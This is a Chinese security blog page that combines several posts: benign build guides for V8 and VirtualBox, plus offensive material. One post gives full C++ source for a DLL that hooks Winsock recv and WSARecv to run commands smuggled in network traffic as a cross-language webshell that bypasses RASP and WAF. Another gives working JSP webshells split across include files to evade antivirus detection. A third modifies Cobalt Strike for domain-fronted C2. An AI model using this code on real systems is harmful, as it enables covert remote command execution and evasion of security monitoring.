利用 Hook 技术打造通用的 Webshell

本文首发 https://xz.aliyun.com/t/9774

标题中的 “通用” 指跨语言,本文的实现是基于 Windows 的,需要 Linux 的可以参考本文的思路,实现起来并没有太大区别。

原理

Windows 上程序涉及网络 socket 操作,一般都会用到 winsock2 的库,程序会动态链接 ws2_32.dll ,JVM,Python,Zend 等解释器都不例外。

winsock2 里 socket 操作相关的函数 recv send closesocket 会编程的应该都不陌生。hook 掉 recv 函数就可以在程序处理接受到网络数据前,进入我们的处理逻辑早一步收到数据。

由于实现是 native 的,所以在成功 hook 的情况下能绕过现代的 RASP、IAST、云WAF 等现代流行的防护技术。

Inline Hook

Inline Hook 是在程序运行时直接修改指令,插入跳转指令(jmp/call/retn)来控制程序执行流的一种技术。相比别的 Hook 技术,Inline Hook 优点是能跨平台,稳定,本文是以此技术实现的。

实现

具体实现分为两个部分,一个是hook函数的 DLL(只讲这个);另一个是向进程注入 DLL 的辅助工具(网上的文章很多,需要的见完整源码)。

InstallHook

安装钩子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#define START_BLOCK "#CMD0#"
#define END_BLOCK "#CMD1#"

DWORD dwInstSize = 12;
BYTE RecvEntryPointInst[12] = { 0x00 };
BYTE RecvEntryPointInstHook[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };
BYTE WSARecvEntryPointInst[12] = { 0x00 };
BYTE WSARecvEntryPointInstHook[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };

typedef int ( *PFNRecv )( SOCKET, char*, int, int );
typedef int ( *PFNSend )( SOCKET, char*, int, int );

typedef int ( *PFNWSARecv ) ( SOCKET, LPWSABUF, DWORD, LPDWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE );
typedef int ( *PFNWSASend ) ( SOCKET, LPWSABUF, DWORD, LPDWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE );

void InstallHook(LPCWSTR lpModule, LPCSTR lpFuncName, LPVOID lpFunction) {
DWORD_PTR FuncAddress = (UINT64) GetProcAddress(GetModuleHandleW(lpModule), lpFuncName);
DWORD OldProtect = 0;

if(VirtualProtect((LPVOID) FuncAddress, dwInstSize, PAGE_EXECUTE_READWRITE, &OldProtect))
{
if(!strcmp(lpFuncName, "recv")) {
memcpy(RecvEntryPointInst, (LPVOID) FuncAddress, dwInstSize);
*(PINT64) ( RecvEntryPointInstHook + 2 ) = (UINT64) lpFunction;
}
if(!strcmp(lpFuncName, "WSARecv")) {
memcpy(WSARecvEntryPointInst, (LPVOID) FuncAddress, dwInstSize);
*(PINT64) ( WSARecvEntryPointInstHook + 2 ) = (UINT64) lpFunction;
}
}

if(!strcmp(lpFuncName, "recv"))
memcpy((LPVOID) FuncAddress, &RecvEntryPointInstHook, sizeof(RecvEntryPointInstHook));
if(!strcmp(lpFuncName,"WSARecv"))
memcpy((LPVOID) FuncAddress, &WSARecvEntryPointInstHook, sizeof(WSARecvEntryPointInstHook));

VirtualProtect((LPVOID) FuncAddress, dwInstSize, OldProtect, &OldProtect);
}

UninstallHook

卸载钩子

1
2
3
4
5
6
7
8
9
10
11
12
13
void UninstallHook(LPCWSTR lpModule, LPCSTR lpFuncName) {
UINT64 FuncAddress = (UINT64) GetProcAddress(GetModuleHandleW(lpModule), lpFuncName);
DWORD OldProtect = 0;

if(VirtualProtect((LPVOID) FuncAddress, dwInstSize, PAGE_EXECUTE_READWRITE, &OldProtect))
{
if(!strcmp(lpFuncName, "recv"))
memcpy((LPVOID) FuncAddress, RecvEntryPointInst, sizeof(RecvEntryPointInst));
if(!strcmp(lpFuncName,"WSARecv"))
memcpy((LPVOID) FuncAddress, WSARecvEntryPointInst, sizeof(WSARecvEntryPointInst));
}
VirtualProtect((LPVOID) FuncAddress, dwInstSize, OldProtect, &OldProtect);
}

HookRecv

hook recv 的函数,程序在执行 recv 时,会先进入这个函数。

在这个函数里,调用原来的 recv 获取数据,判断是否有START_BLOCKEND_BLOCK块,有的话就取出块之间的命令,执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
int WINAPI HookRecv(SOCKET s, char* buf, int len, int flags) {
UninstallHook(L"ws2_32.dll", "recv");

PFNRecv pfnRecv = (PFNRecv) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "recv");
PFNSend pfnSend = (PFNSend) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "send");
PFNClosesocket pfnClosesocket = (PFNClosesocket) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "closesocket");

int rc = pfnRecv(s, buf, len, flags);

char* startBlock = strstr(buf, START_BLOCK);
if(startBlock) {
char* endBlock = strstr(startBlock, END_BLOCK);
if(endBlock) {
std::string start_block = std::string(startBlock);
int endOffset = start_block.find(END_BLOCK, sizeof(START_BLOCK));
std::string cmd = start_block.substr(sizeof(START_BLOCK) - 1, start_block.size() - sizeof(START_BLOCK) - ( start_block.size() - endOffset ) + 1);

std::string output = WSTR2STR(ExecuteCmd(cmd));

pfnSend(s, (char*) output.c_str(), output.size(), 0);
pfnClosesocket(s);
}
}

InstallHook(L"ws2_32.dll", "recv", (LPVOID) HookRecv);

return rc;
}


int WINAPI HookWSARecv(SOCKET s, LPWSABUF lpBuffer, DWORD dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) {

UninstallHook(L"ws2_32.dll", "WSARecv");

PFNWSARecv pfnWSARecv = (PFNWSARecv) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "WSARecv");
PFNWSASend pfnWSASend = (PFNWSASend) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "WSASend");
PFNClosesocket pfnClosesocket = (PFNClosesocket) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "closesocket");

int rc = pfnWSARecv(s, lpBuffer, dwBufferCount, lpNumberOfBytesRecvd, lpFlags, lpOverlapped, lpCompletionRoutine);

char* startBlock = strstr(lpBuffer->buf, START_BLOCK);
if(startBlock) {
char* endBlock = strstr(startBlock, END_BLOCK);
if(endBlock) {
std::string start_block = std::string(startBlock);
int endOffset = start_block.find(END_BLOCK, sizeof(START_BLOCK));
std::string cmd = start_block.substr(sizeof(START_BLOCK) - 1, start_block.size() - sizeof(START_BLOCK) - ( start_block.size() - endOffset ) + 1);

WSABUF outBuf;
std::string output = WSTR2STR(ExecuteCmd(cmd));
outBuf.buf = (char*) output.c_str();
outBuf.len = output.size();

pfnWSASend(s, &outBuf, 1, lpNumberOfBytesRecvd, 0, 0, 0);
pfnClosesocket(s);
}
}

InstallHook(L"ws2_32.dll", "WSARecv", (LPVOID) HookWSARecv);

return rc;
}

这里还 hook 了 WSARecv ,是因为我在 Tomcat 上测试遇到个问题 hook recv 后收到的数据是乱码,长度也对不上。 后来想到 Tomcat 现在默认是 NIO 处理,JVM 的用的 API 可能不一样,翻看了一下源码,发现 Windows 上 NIO 相关的 socket 操作函数实际用的是 WSARecvWSASend 等带 WSA 前缀的,加了 hook 点之后能正常读到数据了。

DllMain

DLL 入口,调用安装钩子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
InstallHook(L"ws2_32.dll", "recv", (LPVOID) HookRecv);
InstallHook(L"ws2_32.dll", "WSARecv", (LPVOID) HookWSARecv);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

效果

Java

java

Python

python

在 Win10 上编译 V8 引擎

记录一下编译 V8 踩坑的过程(以下全程需要科学上网,我是配了 Proxifier)

过程

  1. 先安装 VisualStudio 2019,略详细过程

  2. clone 开发环境

    1
    2
    3
    cd /d d:\

    git clone https://chromium.googlesource.com/chromium/tools/depot_tools
  3. 设置环境变量

    1
    2
    set DEPOT_TOOLS_WIN_TOOLCHAIN=0
    set GYP_MSVS_VERSION=2019 # 视VS版本而定
  4. clone v8 仓库,完整的大概 700M

    1
    fetch v8
  5. 同步第三方组件,会花一点时间

    1
    gclient sync
  6. 生成编译配置

    1
    python tools/dev/v8gen.py ia32.debug
  7. 编译,大概 10 分钟

    1
    ninja -C .\out.gn\ia32.debug d8 -j12
  8. 完成

问题

提示缺少 LASTCHANGE

1
python .\build\util\lastchange.py .\build\util\LASTCHANGE

找不到 clang-cl.exe

1
python .\tools\clang\scripts\update.py

JSP免杀 —— 绕过智能AI?

玩某云的“卷完计划”想到的姿势,分享一下。

某云的骑士号称是采用先进的动态监测技术,结合主机智能内核AI检测技术等多种引擎零规则查杀,做到低误报,高查杀率。

测下来查杀率确实高,只要出现 Runtime.getRuntime().exec("calc") 等命令执行直接相关的方法调用就杀,不过一个样本测下来要一分钟,速度相当慢,实际落地还要很长的路要走。/狗头

绕过

开始讲绕过。

首先是命令执行的sink,直接写 Runtime.getRuntime().exec() 即使jsp编译不通过也是会被check到的,说明引擎有一些强检测逻辑,类似正则,匹配即杀。而如果迂回一下,我们找一个跳板,比如 new ProcessBuilder() ,或者反射构造 ProcessImpl 实例,还不会被杀,(用法参考三梦的文章)。

构造好跳板,当调用 start() 实际执行的时候,如果命令是硬编码的没有杀,如果是从 request.getParameter(“xxx”) 取的还是会杀的。

说明引擎应该用到了类似污点分析的原理,更换命令执行的 sink 是可以绕过的,但要完全绕过还要找别的 source,试了一圈 request 对象的方法,只有 request.getSchema() 等内容不可控方法的时候不会杀,内容不可控有啥用:(

研究了下,我想到了这个引擎的问题(应该也通杀别的),就是在检测时,无法构造出完整的上下文环境。它是单文件一个个扫过去的,如果我们拆分 soure-sink 到多个文件呢,扫任意一个jsp都没问题。甚至很可能因为通不过编译,压根儿动态监测不起来。

include

下面用到 jsp 的一个特性 include 指令。

include 指令用于通知 JSP 引擎在翻译当前 JSP 页面时,将其他文件中的内容合并进当前 JSP 页面转换成的 Servlet 源文件中,这种在源文件级别进行引入的方式,称为静态引入,当前 JSP 页面与静态引入的文件紧密结合为一个 Servlet。这些文件可以是 JSP 页面、HTML 页面、文本文件或是一段 Java 代码。

我们完全可以把完整的逻辑拆分,即把参数获取和命令执行的分开。

举个例子

AB.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%@ page import="javax.el.ELProcessor" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<body>
<%
String cmd = request.getParameter("cmd");
ELProcessor processor = new ELProcessor();
Process process = (Process) processor.eval(
"\"\".getClass()" +
".forName(\"javax.script.ScriptEngineManager\")." +
"newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['" +
cmd + "']).start()\")");
InputStream inputStream = process.getInputStream();
StringBuilder sb = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null) {
sb.append(line).append("\n");
}
response.getOutputStream().write(sb.toString().getBytes());
%>
</body>
</html>

source request.getParameter,通过 sink ELProcessor.eval 执行命令,会被杀。

拆分逻辑到 A.jsp B.jsp

A.jsp

1
2
3
<%
String cmd = request.getParameter("cmd");
%>

B.jsp ELProcessor.eval 执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.el.ELProcessor" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@include file="A.jsp" %>
<html>
<body>
<%
ELProcessor processor = new ELProcessor();
Process process = (Process) processor.eval(
"\"\".getClass()" +
".forName(\"javax.script.ScriptEngineManager\")." +
"newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['" +
cmd + "']).start()\")");
InputStream inputStream = process.getInputStream();
StringBuilder sb = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null) {
sb.append(line).append("\n");
}
response.getOutputStream().write(sb.toString().getBytes());
%>
</body>
</html>

A.jsp 只负责取参,看起来没有问题。

B.jsp sink没有被硬杀,而且缺少 A.jsp 的情况编译不过,跑不起来动态监测不了。

完全绕过。

MacOS 下编译 VirtualBox

在编译 VBox 的时候遇到了许多坑,记录一下。

环境是 MacOS 10.15 Catalina,VBox 6.1.16 。

安装SDK

Xcode10之后编译系统改了,我们需要用老版本的Xcode编译,所以要用 XcodeLegacy

1
2
git clone --depth=1 https://hub.fastgit.org/devernay/xcodelegacy.git
cd xcodelegacy

再下载 Xcode6.4 ,放到 xcodelegacy 目录下。

安装一下

1
2
./XcodeLegacy.sh -osx109 buildpackages
sudo ./XcodeLegacy.sh -osx109 install

安装依赖

  • 安装 homebrew,brew install libidl openssl pkg-config qt
  • JDK版本>=6 ,我用的 JDK8
  • openssl

编译 openssl

link 的时候可能会因为目标版本不一致出现问题,需要用 10.9 编译的 openssl

下载 openssl ,解压后编译

1
2
3
./config CFLAGS="-g -O2 -mmacosx-version-min=10.9 -isysroot /Developer/SDKs/MacOSX10.9.sdk" CXXFLAGS="-g -O2 -mmacosx-version-min=10.9 -isysroot /Developer/SDKs/MacOSX10.9.sdk" LDFLAGS="-mmacosx-version-min=10.9 -isysroot /Developer/SDKs/MacOSX10.9.sdk" --prefix=/usr/local/opt/openssl@1.1.1i
make -j8
make install

编译

下面开始编译,中途可能还会有些编译错误,需要自己解决一下。末尾有我遇到的问题及解决。

先修改 configure 的 check_darwinversion()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
check_darwinversion()
{
test_header "Darwin version"
darwin_ver=`uname -r`
case "$darwin_ver" in
+ 19\.*)
+ check_xcode_sdk_path "$WITH_XCODE_DIR"
+ [ $? -eq 1 ] || fail
+ darwin_ver="10.15" # Catalina
+ sdk=$WITH_XCODE_DIR/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.9.sdk
+ cnf_append "VBOX_WITH_MACOSX_COMPILERS_FROM_DEVEL" "1"
+ cnf_append "VBOX_PATH_MACOSX_DEVEL_ROOT" "$WITH_XCODE_DIR/Developer"
+ CXX_FLAGS='--std=c++11'
+ ;;
17\.*)
check_xcode_sdk_path "$WITH_XCODE_DIR"
[ $? -eq 1 ] || fail
darwin_ver="10.13" # High Sierra
sdk=$WITH_XCODE_DIR/Developer/SDKs/MacOSX10.6.sdk
cnf_append "VBOX_WITH_MACOSX_COMPILERS_FROM_DEVEL" "1"
cnf_append "VBOX_PATH_MACOSX_DEVEL_ROOT" "$WITH_XCODE_DIR/Developer"
;;

配置

1
2
./configure --disable-hardening --with-xcode-dir=/Developer/SDKs/MacOSX10.9.sdk \
--with-openssl-dir=/usr/local/opt/openssl@1.1.1i --with-qt-dir=/usr/local/Cellar/qt/5.15.2

修改 tools/kBuildTools/VBoxXcode62.kmk ,开启 c++11 支持

1
2
3
4
5
-TOOL_VBoxXcode62_CXXFLAGS         ?=
+TOOL_VBoxXcode62_CXXFLAGS ?= --std=c++11

-TOOL_VBoxXcode62_OBJCXXFLAGS ?=
+TOOL_VBoxXcode62_OBJCXXFLAGS ?= --std=c++11

一处程序错误 src/VBox/Devices/USB/darwin/USBProxyDevice-darwin.cpp

1
2
-    AssertReturn(RefMatchingDict != IO_OBJECT_NULL, VERR_OPEN_FAILED);
+ AssertReturn(RefMatchingDict, VERR_OPEN_FAILED);

开始编译

1
2
source env.sh
kmk

FAQ

  • 报错 yasm: Bad CPU type in executable

    因为不支持 32 位应用,需要用 x64 的 yasm 替换,

    brew install yasm && cp /usr/local/Cellar/yasm/1.3.0_2/bin/yasm tools/darwin.amd64/bin/

  • 报错 kBuild: iasl VBoxDD ....

    问题同上,找 x64 的 iasl 替换,https://bitbucket.org/RehabMan/acpica/downloads/iasl.zip ,

    cp iasl tools/darwin.amd64/bin/iasl

  • 找不到 libqcocoa.dylib

    修改 AutoConfig.kmk

    1
    2
    3
    4
    5
    6
    7
    - PATH_SDK_QT5_INC               := /usr/local/Cellar/qt/5.15.2/Frameworks
    - PATH_SDK_QT5_LIB := /usr/local/Cellar/qt/5.15.2/Frameworks
    - PATH_SDK_QT5 := /usr/local/Cellar/qt/5.15.2/Frameworks

    + PATH_SDK_QT5_INC := /usr/local/Cellar/qt/5.15.2/include
    + PATH_SDK_QT5_LIB := /usr/local/Cellar/qt/5.15.2/lib
    + PATH_SDK_QT5 := /usr/local/Cellar/qt/5.15.2/

    或者创建软链接

    1
    2
    mkdir /usr/local/Cellar/qt/5.15.2/Frameworks/plugins
    ln -s /usr/local/Cellar/qt/5.15.2/plugins/platforms /usr/local/Cellar/qt/5.15.2/Frameworks/plugins/platforms

魔改 CobaltStrike 3.14 实现域前置自定义端口

国内VPS的 80,443 端口默认都是需要备案才能使用,所以如果 TeamServer 搭在国内,Listener 只能选择其他端口,一般使用是没什么问题,但如果要配置域前置,会遇到上线不了的问题。

问题分析

我配置了一个 8880 端口的 listener,并配置了 CloudFront (回源端口 8880),生成了指向 80 端口的后门。但运行后并没有上线,Wireshark 抓包分析一下。

为了生成指向 80 端口的后门,我额外配置了一个 80 端口的 listener。

可以看到,第一步确实向 cdn 请求了,也成功从 teamserver 获得了后续的 shellcode 并加载成功了(不然不会有第二步的请求),但是第二步开始向 8880 端口拉取任务了,这里就出问题了,因为 cdn 域名的 8880 并不能到达 teamserver 的 8880。

所以我们要修改第二步的请求,强制让它继续和 80 端口通信。

p1

那么,为什么第一步的访问的端口是对的,第二个是错的呢。

我们知道一般用的CS后门是 staging 模式的,执行过程可以分为两个部分 stage 和 stager 。第一步执行的是 stager ,负责通过各种路径(http&https&tcp)下载 stage,然后注入到内存中执行。第二步的 stage 是真正实现后门功能的部分。

因为生成 beacon 时,用的 listener 是监听 80 端口的,所以 beacon 第一次请求的确是向 80 端口发起的。

但实际上 cdn 的 80 端口指向的是 8880 端口的 listener,8880 接到请求,会返回 stage,stage 时在 teamserver 生成的,它并不知道我们是在通过 80 端口访问它,此时的 stage 是指向 8880 的。这造成了后续的请求都会指向 8880。

要解决问题,必须修改 teamserver 生成的 stage 指向的端口,但搜了一大圈,并没有找到相关的解决方法,AggressorScript 也只能在客户端动动刀子,想要修改 Listener 相关的得要从根源入手。

杀死问题的办法 —— 魔改

我的思路是在创建 listener 的时候,再加一个选项,让 stage 用的端口和 listener 实际监听的端口分开。

当然做👇这些之前要先反编译,我这里用的 fernflower ,用法略过。

0x01 UI

CobaltStrike 用的是 swing 写的 UI,创建 Listener 的部分在 aggressor.dialogs.ListenerDialog.show()

p4

用了 DialogManager 包装了每个 Dialog,调用 DialogManager.text 可以在当前 dialog 创建输入框,命名为 bind port,作为实际监听的端口。

来加一个输入框:

p6

Save 按钮按下时,会在后续触发到 ListenerDialog.dialogResult

p5

这里检查了一下 domain 是否超长,通过了,就推送一个 listeners.create 请求到 teamserver,参数是 listener 的名字和配置信息,再之后 listener 就会在 teamserver 建立。

我们下一步是要把 bind port 传到 this.options,这里有点绕,在调用 DialogManager.text 的时候创建一个内部的 DialogListener

p7

DialogManager.addDilogListenerInternal 可以看到会把创建的 DialogListener 加到

p9

Save 按钮实际是 DialogManager.action_noclose 生成的
这里的,点击事件可以在这里找到。

p10

这里调用了之前的创建的匿名 DialogListener,将值传到 this.options,所以创建的输入框会自动把值添加到配置里来,😭绕了一圈啥也不用干。

为了能在 Listeners 这个 Tab 直接看到设置的 bind port, 给 aggressor.windows.ListenerManagercols 加上 bind port 就会自动加载进来了。

p13

效果如下:

p12

0x02 Listener

在各处调用 Listener 时,会创建 common.Listener 实例,里面是没有 bind port 字段的,所以要给它加上。

p19

0x03 Stage

p11

teamserver 接到创建 Listener 的请求后,会先把 Listener 序列化保存下来,以便下次 teamserver 重启的时候可以自动监听。

然后本地调用 beacons.start 。这里的调用链有点长:

server.Beacons.call() -> server.Beacons.setup() -> beacon.BeaconsSetup.start() -> server.WebCalls.getWebServer() -> beacon.BeaconSetup.exportBeaconStage()

最主要的是两个地方 server.WebCalls.getWebServer() 创建 Web 服务,beacon.BeaconSetup.exportBeaconStage 构造 Stage 的 shellcode。

p14

p15

这里的 var1 是监听的端口号,默认的 Stage 指向的端口和 Listener 监听的端口号是同一个,现在我们要让他们的端口分离,因为 start() 参数不是 Map ,所以不能直接往里加一个参数,只能重写或者重载一下这个方法。

我直接重写了一下,加了一个参数 bindPort,创建 Web 服务时,就用这个端口。Stage 还是用原来的 var1 作为端口,不用修改。这样创建 Listener 的时候,原来端口号代表 Stage 用的

p16

相应的,上层的调用链也要修改一下。

p17

p18

0x05 编译 & 替换

然后要把修改过的代码编译一下,替换到 jar 里。

1
2
3
4
5
6
7
8
9
10
javac -cp cobaltstrike.jar common/Listener.java
zip -u cobaltstrike.jar common/Listener.class
javac -cp cobaltstrike.jar aggressor/dialogs/ListenerDialog.java
zip -u cobaltstrike.jar aggressor/dialogs/ListenerDialog.class
javac -cp cobaltstrike.jar aggressor/windows/ListenerManager.java
zip -u cobaltstrike.jar aggressor/windows/ListenerManager.class
javac -cp cobaltstrike.jar server/Beacons.java
zip -u cobaltstrike.jar server/Beacons.class
javac -cp cobaltstrike.jar beacon/BeaconSetup.java
zip -u cobaltstrike.jar beacon/BeaconSetup.class

⬆️可能有点遗漏的,各位自己调一下吧。

效果

rrr

后话

这是一篇19年的存稿,当时还没有 CS 4.0,这个问题 4.0 已经解决了,可以配置 Listener 的 C2 PortBind Port,将 C2 的端口与 teamserver 实际监听的端口分开。

现在放出来,也算抛砖引玉,给想要修改 CS 的小伙计提供点经验,欢迎交流~

|